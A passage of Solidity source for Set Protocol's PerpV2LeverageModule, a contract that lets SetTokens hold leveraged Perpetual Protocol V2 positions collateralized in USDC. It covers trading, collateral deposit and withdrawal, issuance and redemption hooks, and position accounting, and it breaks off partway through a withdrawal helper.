import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import { IUniswapV3Pool } from "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import { FixedPoint96 } from "@uniswap/v3-core/contracts/libraries/FixedPoint96.sol";
import { FullMath } from "@uniswap/v3-core/contracts/libraries/FullMath.sol";
import { PerpV2 } from "../integration/lib/PerpV2.sol";
import { IAccountBalance } from "../../interfaces/external/perp-v2/IAccountBalance.sol";
import { IClearingHouse } from "../../interfaces/external/perp-v2/IClearingHouse.sol";
import { IExchange } from "../../interfaces/external/perp-v2/IExchange.sol";
import { IVault } from "../../interfaces/external/perp-v2/IVault.sol";
import { IQuoter } from "../../interfaces/external/perp-v2/IQuoter.sol";
import { IMarketRegistry } from "../../interfaces/external/perp-v2/IMarketRegistry.sol";
import { IController } from "../../interfaces/IController.sol";
import { IDebtIssuanceModule } from "../../interfaces/IDebtIssuanceModule.sol";
import { IModuleIssuanceHook } from "../../interfaces/IModuleIssuanceHook.sol";
import { ISetToken } from "../../interfaces/ISetToken.sol";
import { ModuleBase } from "../lib/ModuleBase.sol";
import { PreciseUnitMath } from "../../lib/PreciseUnitMath.sol";
import { AddressArrayUtils } from "../../lib/AddressArrayUtils.sol";
/**
* @title PerpLeverageModule
* @author Set Protocol
* @notice Smart contract that enables leveraged trading using the PerpV2 protocol. Each SetToken can only manage a single Perp account
* represented as a positive equity external position whose value is the net Perp account value denominated in the collateral token
* deposited into the Perp Protocol. This module only allows Perp positions to be collateralized by one asset, USDC, set on deployment of
* this contract (see collateralToken) however it can take positions simultaneuosly in multiple base assets.
*
* Upon issuance and redemption positions are not EXACTLY replicated like for other position types since a trade is necessary to enter/exit
* the position on behalf of the issuer/redeemer. Any cost of entering/exiting the position (slippage) is carried by the issuer/redeemer.
* Any pending funding costs or PnL is carried by the current token holders. To be used safely this module MUST issue using the
* SlippageIssuanceModule or else issue and redeem transaction could be sandwich attacked.
*
* NOTE: The external position unit is only updated on an as-needed basis during issuance/redemption. It does not reflect the current
* value of the Set's perpetual position. The current value can be calculated from getPositionNotionalInfo.
*/
contract PerpV2LeverageModule is ModuleBase, ReentrancyGuard, Ownable, IModuleIssuanceHook {
using PerpV2 for ISetToken;
using PreciseUnitMath for int256;
using SignedSafeMath for int256;
using AddressArrayUtils for address[];
/* ============ Structs ============ */
struct ActionInfo {
ISetToken setToken;
address baseToken; // Virtual token minted by the Perp protocol
bool isBaseToQuote; // When true, `baseToken` is being sold, when false, bought
bool isExactInput; // When true, `amount` is the swap input, when false, the swap output
int256 amount; // Quantity in 10**18 decimals
uint256 oppositeAmountBound; // vUSDC pay or receive quantity bound (see `_createAndValidateActionInfoNotionalNotional` for details)
}
struct PositionNotionalInfo {
address baseToken; // Virtual token minted by the Perp protocol
int256 baseBalance; // Base position notional quantity in 10**18 decimals. When negative, position is short
int256 quoteBalance; // vUSDC "debt" notional quantity minted to open position. When positive, position is short
}
struct PositionUnitInfo {
address baseToken; // Virtual token minted by the Perp protocol
int256 baseUnit; // Base position unit. When negative, position is short
int256 quoteUnit; // vUSDC "debt" position unit. When positive, position is short
}
struct AccountInfo {
int256 collateralBalance; // Quantity of collateral deposited in Perp vault in 10**18 decimals
int256 owedRealizedPnl; // USDC quantity of profit and loss in 10**18 decimals not yet settled to vault
int256 pendingFundingPayments; // USDC quantity of pending funding payments in 10**18 decimals
int256 netQuoteBalance; // USDC quantity of net quote balance for all open positions in Perp account
}
/* ============ Events ============ */
/**
* @dev Emitted on trade
* @param _setToken Instance of SetToken
* @param _baseToken Virtual token minted by the Perp protocol
* @param _deltaBase Change in baseToken position size resulting from trade
* @param _deltaQuote Change in vUSDC position size resulting from trade
* @param _protocolFee Quantity in collateral decimals sent to fee recipient during lever trade
* @param _isBuy True when baseToken is being bought, false when being sold
*/
event PerpTrade(
ISetToken indexed _setToken,
address indexed _baseToken,
uint256 _deltaBase,
uint256 _deltaQuote,
uint256 _protocolFee,
bool _isBuy
);
/**
* @dev Emitted on deposit (not issue or redeeem)
* @param _setToken Instance of SetToken
* @param _collateralToken Token being deposited as collateral (USDC)
* @param _amountDeposited Amount of collateral being deposited into Perp
*/
event CollateralDeposited(
ISetToken indexed _setToken,
IERC20 _collateralToken,
uint256 _amountDeposited
);
/**
* @dev Emitted on withdraw (not issue or redeeem)
* @param _setToken Instance of SetToken
* @param _collateralToken Token being withdrawn as collateral (USDC)
* @param _amountWithdrawn Amount of collateral being withdrawn from Perp
*/
event CollateralWithdrawn(
ISetToken indexed _setToken,
IERC20 _collateralToken,
uint256 _amountWithdrawn
);
/**
* @dev Emitted on updateAllowedSetToken()
* @param _setToken SetToken being whose allowance to initialize this module is being updated
* @param _added true if added false if removed
*/
event SetTokenStatusUpdated(
ISetToken indexed _setToken,
bool indexed _added
);
/**
* @dev Emitted on updateAnySetAllowed()
* @param _anySetAllowed true if any set is allowed to initialize this module, false otherwise
*/
event AnySetAllowedUpdated(
bool indexed _anySetAllowed
);
/* ============ Constants ============ */
// String identifying the DebtIssuanceModule in the IntegrationRegistry. Note: Governance must add DefaultIssuanceModule as
// the string as the integration name
string constant internal DEFAULT_ISSUANCE_MODULE_NAME = "DefaultIssuanceModule";
// 0 index stores protocol fee % on the controller, charged in the _executeTrade function
uint256 constant internal PROTOCOL_TRADE_FEE_INDEX = 0;
/* ============ State Variables ============ */
// PerpV2 contract which provides getters for base, quote, and owedRealizedPnl balances
IAccountBalance public immutable perpAccountBalance;
// PerpV2 contract which provides a trading API
IClearingHouse public immutable perpClearingHouse;
// PerpV2 contract which manages trading logic. Provides getters for UniswapV3 pools and pending funding balances
IExchange public immutable perpExchange;
// PerpV2 contract which handles deposits and withdrawals. Provides getter for collateral balances
IVault public immutable perpVault;
// PerpV2 contract which makes it possible to simulate a trade before it occurs
IQuoter public immutable perpQuoter;
// PerpV2 contract which provides a getter for baseToken UniswapV3 pools
IMarketRegistry public immutable perpMarketRegistry;
// Token (USDC) used as a vault deposit, Perp currently only supports USDC as it's setllement and collateral token
IERC20 public immutable collateralToken;
// Decimals of collateral token. We set this in the constructor for later reading
uint8 public immutable collateralDecimals;
// Mapping of SetTokens to an array of virtual token addresses the Set has open positions for.
// Array is automatically updated when new positions are opened or old positions are zeroed out.
mapping(ISetToken => address[]) public positions;
// Mapping of SetToken to boolean indicating if SetToken is on allow list. Updateable by governance
mapping(ISetToken => bool) public allowedSetTokens;
// Boolean that returns if any SetToken can initialize this module. If false, then subject to allow list.
// Updateable by governance.
bool public anySetAllowed;
/* ============ Constructor ============ */
/**
* @dev Sets external PerpV2 Protocol addresses.
* @param _controller Address of controller contract
* @param _perpVault Address of Perp Vault contract
* @param _perpQuoter Address of Perp Quoter contract
* @param _perpMarketRegistry Address of Perp MarketRegistry contract
*/
constructor(
IController _controller,
IVault _perpVault,
IQuoter _perpQuoter,
IMarketRegistry _perpMarketRegistry
)
public
ModuleBase(_controller)
{
// Use temp variables to initialize immutables
address tempCollateralToken = IVault(_perpVault).getSettlementToken();
collateralToken = IERC20(tempCollateralToken);
collateralDecimals = ERC20(tempCollateralToken).decimals();
perpAccountBalance = IAccountBalance(IVault(_perpVault).getAccountBalance());
perpClearingHouse = IClearingHouse(IVault(_perpVault).getClearingHouse());
perpExchange = IExchange(IVault(_perpVault).getExchange());
perpVault = _perpVault;
perpQuoter = _perpQuoter;
perpMarketRegistry = _perpMarketRegistry;
}
/* ============ External Functions ============ */
/**
* @dev MANAGER ONLY: Allows manager to buy or sell perps to change exposure to the underlying baseToken.
* Providing a positive value for `_baseQuantityUnits` buys vToken on UniswapV3 via Perp's ClearingHouse,
* Providing a negative value sells the token. `_receiveQuoteQuantityUnits` defines a min-receive-like slippage
* bound for the amount of vUSDC quote asset the trade will either pay or receive as a result of the action.
*
* NOTE: This method doesn't update the externalPositionUnit because it is a function of UniswapV3 virtual
* token market prices and needs to be generated on the fly to be meaningful.
*
* As a user when levering, e.g increasing the magnitude of your position, you'd trade as below
* | ----------------------------------------------------------------------------------------------- |
* | Type | Action | Goal | `receiveQuoteQuantity` | `baseQuantityUnits` |
* | ----- |-------- | ------------------------- | --------------------------- | ------------------- |
* | Long | Buy | pay least amt. of vQuote | upper bound of input quote | positive |
* | Short | Sell | get most amt. of vQuote | lower bound of output quote | negative |
* | ----------------------------------------------------------------------------------------------- |
*
* As a user when delevering, e.g decreasing the magnitude of your position, you'd trade as below
* | ----------------------------------------------------------------------------------------------- |
* | Type | Action | Goal | `receiveQuoteQuantity` | `baseQuantityUnits` |
* | ----- |-------- | ------------------------- | --------------------------- | ------------------- |
* | Long | Sell | get most amt. of vQuote | upper bound of input quote | negative |
* | Short | Buy | pay least amt. of vQuote | lower bound of output quote | positive |
* | ----------------------------------------------------------------------------------------------- |
*
* @param _setToken Instance of the SetToken
* @param _baseToken Address virtual token being traded
* @param _baseQuantityUnits Quantity of virtual token to trade in position units
* @param _receiveQuoteQuantityUnits Max/min of vQuote asset to pay/receive when buying or selling
*/
function trade(
ISetToken _setToken,
address _baseToken,
int256 _baseQuantityUnits,
uint256 _receiveQuoteQuantityUnits
)
external
nonReentrant
onlyManagerAndValidSet(_setToken)
{
ActionInfo memory actionInfo = _createAndValidateActionInfo(
_setToken,
_baseToken,
_baseQuantityUnits,
_receiveQuoteQuantityUnits
);
(uint256 deltaBase, uint256 deltaQuote) = _executeTrade(actionInfo);
uint256 protocolFee = _accrueProtocolFee(_setToken, deltaQuote);
_updatePositionList(_setToken, _baseToken);
emit PerpTrade(
_setToken,
_baseToken,
deltaBase,
deltaQuote,
protocolFee,
_baseQuantityUnits > 0
);
}
/**
* @dev MANAGER ONLY: Deposits default position collateral token into the PerpV2 Vault, increasing
* the size of the Perp account external position. This method is useful for establishing initial
* collateralization ratios, e.g the flow when setting up a 2X external position would be to deposit
* 100 units of USDC and execute a lever trade for ~200 vUSDC worth of vToken with the difference
* between these made up as automatically "issued" margin debt in the PerpV2 system.
*
* @param _setToken Instance of the SetToken
* @param _collateralQuantityUnits Quantity of collateral to deposit in position units
*/
function deposit(
ISetToken _setToken,
uint256 _collateralQuantityUnits
)
public
nonReentrant
onlyManagerAndValidSet(_setToken)
{
require(_collateralQuantityUnits > 0, "Deposit amount is 0");
require(_setToken.totalSupply() > 0, "SetToken supply is 0");
uint256 notionalDepositedQuantity = _depositAndUpdatePositions(_setToken, _collateralQuantityUnits);
emit CollateralDeposited(_setToken, collateralToken, notionalDepositedQuantity);
}
/**
* @dev MANAGER ONLY: Withdraws collateral token from the PerpV2 Vault to a default position on
* the SetToken. This method is useful when adjusting the overall composition of a Set which has
* a Perp account external position as one of several components.
*
* NOTE: Within PerpV2, `withdraw` settles `owedRealizedPnl` and any pending funding payments
* to the Perp vault prior to transfer.
*
* @param _setToken Instance of the SetToken
* @param _collateralQuantityUnits Quantity of collateral to withdraw in position units
*/
function withdraw(
ISetToken _setToken,
uint256 _collateralQuantityUnits
)
public
nonReentrant
onlyManagerAndValidSet(_setToken)
{
require(_collateralQuantityUnits > 0, "Withdraw amount is 0");
require(_setToken.totalSupply() > 0, "SetToken supply is 0");
uint256 notionalWithdrawnQuantity = _withdrawAndUpdatePositions(_setToken, _collateralQuantityUnits);
emit CollateralWithdrawn(_setToken, collateralToken, notionalWithdrawnQuantity);
}
/**
* @dev MANAGER ONLY: Initializes this module to the SetToken. Either the SetToken needs to be on the
* allowed list or anySetAllowed needs to be true.
*
* @param _setToken Instance of the SetToken to initialize
*/
function initialize(
ISetToken _setToken
)
external
onlySetManager(_setToken, msg.sender)
onlyValidAndPendingSet(_setToken)
{
if (!anySetAllowed) {
require(allowedSetTokens[_setToken], "Not allowed SetToken");
}
// Initialize module before trying register
_setToken.initializeModule();
// Get debt issuance module registered to this module and require that it is initialized
require(_setToken.isInitializedModule(
getAndValidateAdapter(DEFAULT_ISSUANCE_MODULE_NAME)),
"Issuance not initialized"
);
// Try if register exists on any of the modules including the debt issuance module
address[] memory modules = _setToken.getModules();
for(uint256 i = 0; i < modules.length; i++) {
try IDebtIssuanceModule(modules[i]).registerToIssuanceModule(_setToken) {} catch {}
}
}
/**
* @dev MANAGER ONLY: Removes this module from the SetToken, via call by the SetToken. Deletes
* position mappings associated with SetToken.
*
* NOTE: Function will revert if there is greater than a position unit amount of USDC left in the PerpV2 vault.
*/
function removeModule() external override onlyValidAndInitializedSet(ISetToken(msg.sender)) {
ISetToken setToken = ISetToken(msg.sender);
// We can end up with a dust amount of USDC in the Perp account that we should ignore.
require(
_fromPreciseUnitToDecimals(_getCollateralBalance(setToken), collateralDecimals) <= 1,
"Collateral balance remaining"
);
delete positions[setToken]; // Should already be empty
// Try if unregister exists on any of the modules
address[] memory modules = setToken.getModules();
for(uint256 i = 0; i < modules.length; i++) {
try IDebtIssuanceModule(modules[i]).unregisterFromIssuanceModule(setToken) {} catch {}
}
}
/**
* @dev MANAGER ONLY: Add registration of this module on the debt issuance module for the SetToken.
*
* Note: if the debt issuance module is not added to SetToken before this module is initialized, then
* this function needs to be called if the debt issuance module is later added and initialized to prevent state
* inconsistencies
*
* @param _setToken Instance of the SetToken
* @param _debtIssuanceModule Debt issuance module address to register
*/
function registerToModule(ISetToken _setToken, IDebtIssuanceModule _debtIssuanceModule) external onlyManagerAndValidSet(_setToken) {
require(_setToken.isInitializedModule(address(_debtIssuanceModule)), "Issuance not initialized");
_debtIssuanceModule.registerToIssuanceModule(_setToken);
}
/**
* @dev GOVERNANCE ONLY: Enable/disable ability of a SetToken to initialize this module.
*
* @param _setToken Instance of the SetToken
* @param _status Bool indicating if _setToken is allowed to initialize this module
*/
function updateAllowedSetToken(ISetToken _setToken, bool _status) external onlyOwner {
require(controller.isSet(address(_setToken)) || allowedSetTokens[_setToken], "Invalid SetToken");
allowedSetTokens[_setToken] = _status;
emit SetTokenStatusUpdated(_setToken, _status);
}
/**
* @dev GOVERNANCE ONLY: Toggle whether ANY SetToken is allowed to initialize this module.
*
* @param _anySetAllowed Bool indicating if ANY SetToken is allowed to initialize this module
*/
function updateAnySetAllowed(bool _anySetAllowed) external onlyOwner {
anySetAllowed = _anySetAllowed;
emit AnySetAllowedUpdated(_anySetAllowed);
}
/**
* @dev MODULE ONLY: Hook called prior to issuance. Only callable by valid module. Should only be called ONCE
* during issue. Trades into current positions and sets the collateralToken's externalPositionUnit so that
* issuance module can transfer in the right amount of collateral accounting for accrued fees/pnl and slippage
* incurred during issuance. Any pending funding payments and accrued owedRealizedPnl are attributed to current
* Set holders.
*
* @param _setToken Instance of the SetToken
* @param _setTokenQuantity Quantity of Set to issue
*/
function moduleIssueHook(
ISetToken _setToken,
uint256 _setTokenQuantity
)
external
override
onlyModule(_setToken)
{
if (_setToken.totalSupply() == 0) return;
int256 newExternalPositionUnit = _executeModuleIssuanceHook(_setToken, _setTokenQuantity, false);
// Set collateralToken externalPositionUnit such that DIM can use it for transfer calculation
_setToken.editExternalPositionUnit(
address(collateralToken),
address(this),
newExternalPositionUnit
);
}
/**
* @dev MODULE ONLY: Hook called prior to redemption in the issuance module. Trades out of existing
* positions to make redemption capital withdrawable from PerpV2 vault. Sets the `externalPositionUnit`
* equal to the realizable value of account in position units (as measured by the trade outcomes for
* this redemption). Any `owedRealizedPnl` and pending funding payments are socialized in this step so
* that redeemer pays/receives their share of them. Should only be called ONCE during redeem.
*
* @param _setToken Instance of the SetToken
* @param _setTokenQuantity Quantity of SetToken to redeem
*/
function moduleRedeemHook(
ISetToken _setToken,
uint256 _setTokenQuantity
)
external
override
onlyModule(_setToken)
{
if (_setToken.totalSupply() == 0) return;
int256 newExternalPositionUnit = _executeModuleRedemptionHook(_setToken, _setTokenQuantity, false);
// Set USDC externalPositionUnit such that DIM can use it for transfer calculation
_setToken.editExternalPositionUnit(
address(collateralToken),
address(this),
newExternalPositionUnit
);
}
/**
* @dev MODULE ONLY: Hook called prior to looping through each component on issuance. Deposits
* collateral into Perp protocol from SetToken default position.
* @param _setToken Instance of the SetToken
* @param _setTokenQuantity Quantity of SetToken to issue
* @param _component Address of deposit collateral component
*/
function componentIssueHook(
ISetToken _setToken,
uint256 _setTokenQuantity,
IERC20 _component,
bool _isEquity
)
external
override
onlyModule(_setToken)
{
if (_isEquity) {
int256 externalPositionUnit = _setToken.getExternalPositionRealUnit(address(_component), address(this));
// Use preciseMulCeil here to ensure correct collateralization if there are rounding errors.
uint256 usdcTransferInNotionalQuantity = _setTokenQuantity.preciseMulCeil(externalPositionUnit.toUint256());
_deposit(_setToken, usdcTransferInNotionalQuantity);
}
}
/**
* @dev MODULE ONLY: Hook called prior to looping through each component on redemption. Withdraws
* collateral from Perp protocol to SetToken default position *without* updating the default position unit.
* Called by issuance module's `resolveEquityPositions` method which immediately transfers the collateral
* component from SetToken to redeemer after this hook executes.
*
* @param _setToken Instance of the SetToken
* @param _setTokenQuantity Quantity of SetToken to redeem
* @param _component Address of deposit collateral component
*/
function componentRedeemHook(
ISetToken _setToken,
uint256 _setTokenQuantity,
IERC20 _component,
bool _isEquity
)
external
override
onlyModule(_setToken)
{
if (_isEquity) {
int256 externalPositionUnit = _setToken.getExternalPositionRealUnit(address(_component), address(this));
uint256 usdcTransferOutNotionalQuantity = _setTokenQuantity.preciseMul(externalPositionUnit.toUint256());
_withdraw(_setToken, usdcTransferOutNotionalQuantity);
}
}
/* ============ External Getter Functions ============ */
/**
* @dev Gets the positive equity collateral externalPositionUnit that would be calculated for
* issuing a quantity of SetToken, representing the amount of collateral that would need to
* be transferred in per SetToken.
*
* @param _setToken Instance of SetToken
* @param _setTokenQuantity Number of sets to issue
*
* @return equityAdjustments array containing a single element and an empty debtAdjustments array
*/
function getIssuanceAdjustments(
ISetToken _setToken,
uint256 _setTokenQuantity
)
external
returns (int256[] memory, int256[] memory)
{
address[] memory components = _setToken.getComponents();
if (positions[_setToken].length > 0) {
int256 newExternalPositionUnit = _executeModuleIssuanceHook(_setToken, _setTokenQuantity, true);
return _formatAdjustments(_setToken, components, newExternalPositionUnit);
} else {
return _formatAdjustments(_setToken, components, 0);
}
}
/**
* @dev Gets the positive equity collateral externalPositionUnit that would be calculated for
* redeeming a quantity of SetToken representing the amount of collateral returned per SetToken.
*
* @param _setToken Instance of SetToken
* @param _setTokenQuantity Number of sets to issue
*
* @return equityAdjustments array containing a single element and an empty debtAdjustments array
*/
function getRedemptionAdjustments(
ISetToken _setToken,
uint256 _setTokenQuantity
)
external
returns (int256[] memory, int256[] memory _)
{
address[] memory components = _setToken.getComponents();
if (positions[_setToken].length > 0) {
int256 newExternalPositionUnit = _executeModuleRedemptionHook(_setToken, _setTokenQuantity, true);
return _formatAdjustments(_setToken, components, newExternalPositionUnit);
} else {
return _formatAdjustments(_setToken, components, 0);
}
}
/**
* @dev Returns a PositionUnitNotionalInfo array representing all positions open for the SetToken.
*
* @param _setToken Instance of SetToken
*
* @return PositionUnitInfo array, in which each element has properties:
*
* + baseToken: address,
* + baseBalance: baseToken balance as notional quantity (10**18)
* + quoteBalance: USDC quote asset balance as notional quantity (10**18)
*/
function getPositionNotionalInfo(ISetToken _setToken) public view returns (PositionNotionalInfo[] memory) {
PositionNotionalInfo[] memory positionInfo = new PositionNotionalInfo[](positions[_setToken].length);
for(uint i = 0; i < positions[_setToken].length; i++){
positionInfo[i] = PositionNotionalInfo({
baseToken: positions[_setToken][i],
baseBalance: perpAccountBalance.getBase(
address(_setToken),
positions[_setToken][i]
),
quoteBalance: perpAccountBalance.getQuote(
address(_setToken),
positions[_setToken][i]
)
});
}
return positionInfo;
}
/**
* @dev Returns a PositionUnitInfo array representing all positions open for the SetToken.
*
* @param _setToken Instance of SetToken
*
* @return PositionUnitInfo array, in which each element has properties:
*
* + baseToken: address,
* + baseUnit: baseToken balance as position unit (10**18)
* + quoteUnit: USDC quote asset balance as position unit (10**18)
*/
function getPositionUnitInfo(ISetToken _setToken) public view returns (PositionUnitInfo[] memory) {
int256 totalSupply = _setToken.totalSupply().toInt256();
PositionUnitInfo[] memory positionInfo = new PositionUnitInfo[](positions[_setToken].length);
for(uint i = 0; i < positions[_setToken].length; i++){
positionInfo[i] = PositionUnitInfo({
baseToken: positions[_setToken][i],
baseUnit: perpAccountBalance.getBase(
address(_setToken),
positions[_setToken][i]
).preciseDiv(totalSupply),
quoteUnit: perpAccountBalance.getQuote(
address(_setToken),
positions[_setToken][i]
).preciseDiv(totalSupply)
});
}
return positionInfo;
}
/**
* @dev Gets Perp account info for SetToken. Returns an AccountInfo struct containing account wide
* (rather than position specific) balance info
*
* @param _setToken Instance of the SetToken
*
* @return accountInfo struct with properties for:
*
* + collateral balance (10**18, regardless of underlying collateral decimals)
* + owed realized Pnl` (10**18)
* + pending funding payments (10**18)
*/
function getAccountInfo(ISetToken _setToken) public view returns (AccountInfo memory accountInfo) {
(int256 owedRealizedPnl,, ) = perpAccountBalance.getPnlAndPendingFee(address(_setToken));
(int256 netQuoteBalance, ) = perpAccountBalance.getNetQuoteBalanceAndPendingFee(address(_setToken));
// NOTE: pendingFundingPayments are represented as in the Perp system as "funding owed"
// e.g a positive number is a debt which gets subtracted from owedRealizedPnl on settlement.
// We are flipping its sign here to reflect its settlement value.
accountInfo = AccountInfo({
collateralBalance: _getCollateralBalance(_setToken),
owedRealizedPnl: owedRealizedPnl,
pendingFundingPayments: perpExchange.getAllPendingFundingPayment(address(_setToken)).mul(-1),
netQuoteBalance: netQuoteBalance
});
}
/**
* @dev Gets the mid-point price of a virtual asset from UniswapV3 markets maintained by Perp Protocol
*
* @param _baseToken) Address of virtual token to price
* @return price Mid-point price of virtual token in UniswapV3 AMM market
*/
function getAMMSpotPrice(address _baseToken) public view returns (uint256 price) {
address pool = perpMarketRegistry.getPool(_baseToken);
(uint160 sqrtPriceX96, , , , , , ) = IUniswapV3Pool(pool).slot0();
uint256 priceX96 = _formatSqrtPriceX96ToPriceX96(sqrtPriceX96);
return _formatX96ToX10_18(priceX96);
}
/* ============ Internal Functions ============ */
/**
* @dev MODULE ONLY: Hook called prior to issuance. Only callable by valid module.
*
* NOTE: OwedRealizedPnl and PendingFunding values can be either positive or negative
*
* OwedRealizedPnl
* ---------------
* Accrues when trades execute and result in a profit or loss per the table
* below. Each withdrawal zeros out `owedRealizedPnl`, settling it to the vault.
*
* | -------------------------------------------------- |
* | Position Type | AMM Spot Price | Action | Value |
* | ------------- | -------------- | ------ | ------- |
* | Long | Rises | Sell | Positive |
* | Long | Falls | Sell | Negative |
* | Short | Rises | Buy | Negative |
* | Short | Falls | Buy | Positive |
* | -------------------------------------------------- |
*
*
* PendingFunding
* --------------
* The direction of this flow is determined by the difference between virtual asset UniV3 spot prices and
* their parent asset's broader market price (as represented by a Chainlink oracle), per the table below.
* Each trade zeroes out `pendingFunding`, settling it to owedRealizedPnl.
*
* | --------------------------------------- |
* | Position Type | Oracle Price | Value |
* | ------------- | ------------ | -------- |
* | Long | Below AMM | Negative |
* | Long | Above AMM | Positive |
* | Short | Below AMM | Positive |
* | Short | Above AMM | Negative |
* | --------------------------------------- |
*
* @param _setToken Instance of the SetToken
* @param _setTokenQuantity Quantity of Set to issue
* @param _isSimulation If true, trading is only simulated (to return issuance adjustments)
*/
function _executeModuleIssuanceHook(
ISetToken _setToken,
uint256 _setTokenQuantity,
bool _isSimulation
)
internal
returns (int256)
{
// From perp:
// accountValue = collateral <---
// + owedRealizedPnl } totalCollateralValue
// + pendingFundingPayment <---
// + sum_over_market(positionValue_market)
// + netQuoteBalance
AccountInfo memory accountInfo = getAccountInfo(_setToken);
int256 usdcAmountIn = accountInfo.collateralBalance
.add(accountInfo.owedRealizedPnl)
.add(accountInfo.pendingFundingPayments)
.add(accountInfo.netQuoteBalance)
.preciseDiv(_setToken.totalSupply().toInt256())
.preciseMul(_setTokenQuantity.toInt256());
PositionUnitInfo[] memory positionInfo = getPositionUnitInfo(_setToken);
for(uint i = 0; i < positionInfo.length; i++) {
// baseUnit, +ve existing long position, -ve for existing short position
int256 baseTradeNotionalQuantity = positionInfo[i].baseUnit.preciseMul(_setTokenQuantity.toInt256());
ActionInfo memory actionInfo = _createAndValidateActionInfoNotional(
_setToken,
positionInfo[i].baseToken,
baseTradeNotionalQuantity,
0
);
int256 spotPrice = getAMMSpotPrice(positionInfo[i].baseToken).toInt256();
// idealDeltaQuote, +ve for existing long position, -ve for existing short position
int256 idealDeltaQuote = baseTradeNotionalQuantity.preciseMul(spotPrice);
// Execute or simulate trade.
// `deltaQuote` is always a positive number
(, uint256 deltaQuote) = _isSimulation ? _simulateTrade(actionInfo) : _executeTrade(actionInfo);
// Calculate slippage quantity as a positive value
// When long, trade slippage results in more quote required, deltaQuote > idealDeltaQuote
// When short, trade slippage results in less quote receivied, abs(idealDeltaQuote) > abs(deltaQuote)
int256 slippageQuantity = baseTradeNotionalQuantity >= 0
? deltaQuote.toInt256().sub(idealDeltaQuote)
: _abs(idealDeltaQuote).sub(deltaQuote.toInt256());
// slippage is borne by the issuer
usdcAmountIn = usdcAmountIn.add(idealDeltaQuote).add(slippageQuantity);
}
// Return value in collateral decimals (e.g USDC = 6)
return _fromPreciseUnitToDecimals(
usdcAmountIn.preciseDiv(_setTokenQuantity.toInt256()),
collateralDecimals
);
}
/**
* @dev Hook called prior to redemption. Only callable by valid module.
* @param _setToken Instance of the SetToken
* @param _setTokenQuantity Quantity of Set to redeem
* @param _isSimulation If true, trading is only simulated (to return issuance adjustments)
*/
function _executeModuleRedemptionHook(
ISetToken _setToken,
uint256 _setTokenQuantity,
bool _isSimulation
)
internal
returns (int256)
{
int256 realizedPnl = 0;
PositionNotionalInfo[] memory positionInfo = getPositionNotionalInfo(_setToken);
AccountInfo memory accountInfo = getAccountInfo(_setToken);
// Calculate already accrued PnL from non-issuance/redemption sources (ex: levering)
int256 totalFundingAndCarriedPnL = accountInfo.pendingFundingPayments.add(accountInfo.owedRealizedPnl);
int256 owedRealizedPnlPositionUnit = totalFundingAndCarriedPnL.preciseDiv(_setToken.totalSupply().toInt256());
for (uint256 i = 0; i < positionInfo.length; i++) {
// Calculate amount to trade
int256 basePositionUnit = positionInfo[i].baseBalance.preciseDiv(_setToken.totalSupply().toInt256());
int256 baseTradeNotionalQuantity = basePositionUnit.preciseMul(_setTokenQuantity.toInt256());
// Calculate amount quote debt will be reduced by
int256 reducedOpenNotional = _getReducedOpenNotional(
_setTokenQuantity.toInt256(),
basePositionUnit,
positionInfo[i]
);
// Trade, inverting notional quantity sign because we are reducing position
ActionInfo memory actionInfo = _createAndValidateActionInfoNotional(
_setToken,
positionInfo[i].baseToken,
baseTradeNotionalQuantity.mul(-1),
0
);
// Execute or simulate trade.
// `deltaQuote` is always a positive number
(,uint256 deltaQuote) = _isSimulation ? _simulateTrade(actionInfo) : _executeTrade(actionInfo);
// Calculate realized PnL for and add to running total.
// When basePositionUnit is positive, position is long.
realizedPnl = basePositionUnit >= 0 ? realizedPnl.add(reducedOpenNotional.add(deltaQuote.toInt256())) :
realizedPnl.add(reducedOpenNotional.sub(deltaQuote.toInt256()));
}
// Calculate amount of collateral to withdraw
int256 collateralPositionUnit = _getCollateralBalance(_setToken).preciseDiv(_setToken.totalSupply().toInt256());
int256 usdcToWithdraw =
collateralPositionUnit.preciseMul(_setTokenQuantity.toInt256())
.add(owedRealizedPnlPositionUnit.preciseMul(_setTokenQuantity.toInt256()))
.add(realizedPnl);
return _fromPreciseUnitToDecimals(
usdcToWithdraw.preciseDiv(_setTokenQuantity.toInt256()),
collateralDecimals
);
}
/**
* @dev Invoke deposit from SetToken using PerpV2 library. Creates a collateral deposit in Perp vault
* Updates the collateral token default position unit. This function is called directly by
* the componentIssue hook, skipping external position unit setting because that method is assumed
* to be the end of a call sequence (e.g manager will not need to read the updated value)
*/
function _deposit(ISetToken _setToken, uint256 _collateralNotionalQuantity) internal {
_setToken.invokeApprove(
address(collateralToken),
address(perpVault),
_collateralNotionalQuantity
);
_setToken.invokeDeposit(perpVault, collateralToken, _collateralNotionalQuantity);
}
/**
* Approves and deposits collateral units into Perp vault and additionally sets collateral token externalPositionUnit
* so Manager contracts have a value they can base calculations for further trading on within the same transaction.
*
* NOTE: This flow is only used when invoking the external `deposit` function - it converts collateral
* quantity units into a notional quantity.
*/
function _depositAndUpdatePositions(
ISetToken _setToken,
uint256 _collateralQuantityUnits
)
internal
returns (uint256)
{
uint256 initialCollateralPositionBalance = collateralToken.balanceOf(address(_setToken));
uint256 collateralNotionalQuantity = _collateralQuantityUnits.preciseMul(_setToken.totalSupply());
_deposit(_setToken, collateralNotionalQuantity);
_setToken.calculateAndEditDefaultPosition(
address(collateralToken),
_setToken.totalSupply(),
initialCollateralPositionBalance
);
_setToken.editExternalPosition(
address(collateralToken),
address(this),
_calculateExternalPositionUnit(_setToken),
""
);
return collateralNotionalQuantity;
}
/**
* @dev Invoke withdraw from SetToken using PerpV2 library. Withdraws collateral token from Perp vault
* into a default position. This function is called directly by _accrueFee and _moduleRedeemHook,
* skipping position unit state updates because the funds withdrawn to SetToken are immediately
* forwarded to `feeRecipient` and SetToken owner respectively.
*/
function _withdraw(ISetToken _setToken, uint256 _collateralNotionalQuantity) internal {
if (_collateralNotionalQuantity == 0) return;
_setToken.invokeWithdraw(perpVault, collateralToken, _collateralNotionalQuantity);
}
/**
* Withdraws collateral units from Perp vault to SetToken and additionally sets both the collateralToken
* externalPositionUnit (so Manager contracts have a value they can base calculations for further
* trading on within the same transaction), and the collateral token default position unit.
*
* NOTE: This flow is only used when invoking the external `withdraw` function - it converts
* a collateral units quantity into a notional quantity before invoking withdraw.
*/
function _withdrawAndUpdatePositions(
ISetToken _setToken,
uint256 _collateralQuantityUnits
)
internal
returns (uint256)
{
uint256 initialCollateralPositionBalance = collateralToken.balanceOf(address(_setToken));
